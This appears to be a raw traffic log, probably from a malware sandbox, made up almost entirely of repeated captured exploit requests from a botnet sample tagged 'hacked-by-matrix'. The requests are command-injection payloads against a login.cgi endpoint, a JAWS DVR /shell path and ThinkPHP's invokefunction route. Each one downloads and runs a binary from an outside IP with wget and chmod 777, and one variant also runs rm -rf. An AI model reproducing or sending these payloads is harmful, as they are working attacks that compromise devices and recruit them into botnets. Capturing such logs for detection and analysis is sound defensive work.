Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
